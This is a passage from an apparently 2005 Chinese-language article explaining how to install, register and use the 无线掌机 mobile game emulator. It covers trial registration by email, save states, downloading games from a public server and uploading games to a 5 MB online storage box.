2、安装 手机会自动辨认出无线掌机的安装文件并显示软件安装的安全警告信息。确认之后就可以进入安装过程了。整个安装过程是自动完成的,不需要其他特殊的设置。

3、注册 安装完毕后进入“无线掌机”,如果是第一次启动或是无线掌机还没有注册,软件会要求输入注册码。根据提示把你的手机型号和设备号(不是手机号码)发送到support@81088.com,天行远景公司就会把注册码直接发送到你的邮箱,选择‘注册’输入注册码即可进入程序。没有注册码但是急于试用的用户,可以先按‘继续’启动无线掌机,系统会提示你有3天试用期,随后进入无线掌机的欢迎界面。

4、使用 按‘选项’调出主菜单,选择‘开始’,就会列出手机上现有的游戏。如果你是通过蓝牙、红外或者数据线将游戏传到手机上的,那么这些游戏都将被作为一条信息存储在收件箱中,显示为“来自收件箱”。如果你将本地的游戏上传到“我的游戏盒”以节省本地空间,那么重新下载到本地后就会显示为“来自我的游戏盒”。从公共服务器下载的游戏则显示为“来自公共游戏”。选中其中任何一个,按导航键即可。
 
无线掌机支持对游戏进度的存取,并且不会因为退出程序而丢失保存的文件。在游戏过程中按‘C’键调出菜单,选择‘保存’即可。

由于是基于无线网络开发的游戏模拟器,所以支持从服务器端下载游戏就成了无线掌机的最大特色。在主菜单中选择“游戏宝盒”,然后选择“公共游戏”。首次进入时此列表是空的,你需要按‘选项’然后选择‘更新’以便从服务器下载最新的游戏列表。左右移动导航键可以在不同的栏目中切换,如“热门下载”、“最新上线”、“动作类”等。选中了你喜欢的游戏之后就可以选择“下载”了。
  
无线掌机设置了一个“我的游戏盒”功能,它的作用是让玩家将自己本地的游戏通过GPRS网络上传到服务器上,需要的时候再下载下来,相当于给用户提供了一个5M的网络存储空间。在本地游戏列表中选中要上传的游戏,按‘选项’ 选择‘上传’即可。

http://news.ezshop.com.cn/htm/yjzx/sjzx/yx/20050331C110107.shtml
|